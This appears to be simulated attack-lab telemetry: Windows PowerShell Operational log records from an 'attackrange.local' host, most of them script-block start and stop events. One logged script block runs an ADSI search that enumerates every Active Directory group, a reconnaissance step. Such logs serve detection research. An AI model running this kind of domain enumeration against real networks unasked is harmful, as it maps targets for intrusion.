Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024158
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024156
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024155
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024154
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024152
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024151
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024150
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024149
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024148
Keywords=None
Message=Completed invocation of ScriptBlock ID: efec125c-4be7-4699-aa49-0aa1e8ce1b61
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 58a166c4-38a2-499b-bc09-e1093873475a
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024146
Keywords=None
Message=Started invocation of ScriptBlock ID: 58a166c4-38a2-499b-bc09-e1093873475a
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024145
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?

ScriptBlock ID: 58a166c4-38a2-499b-bc09-e1093873475a
Path:
09/09/2021 10:01:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6028a86f-f766-4963-bbb8-820d37114486
Runspace ID: 6af7195a-2b2a-4f7a-9bd4-be15197a3b2d
09/09/2021 10:01:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024164
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024175
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024173
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024171
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024169
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024167
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024192
Keywords=None
Message=Started invocation of ScriptBlock ID: f87972c5-50b8-4a11-a93e-ca6baa19178d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024191
Keywords=None
Message=Creating Scriptblock text (1 of 1):
([adsisearcher]"(&(objectcategory=group))").findAll()

ScriptBlock ID: f87972c5-50b8-4a11-a93e-ca6baa19178d
Path:
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024189
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024187
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024186
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024185
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024183
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024181
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024179
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024177
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024204
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024203
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024201
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024200
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024199
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024197
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024196
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024195
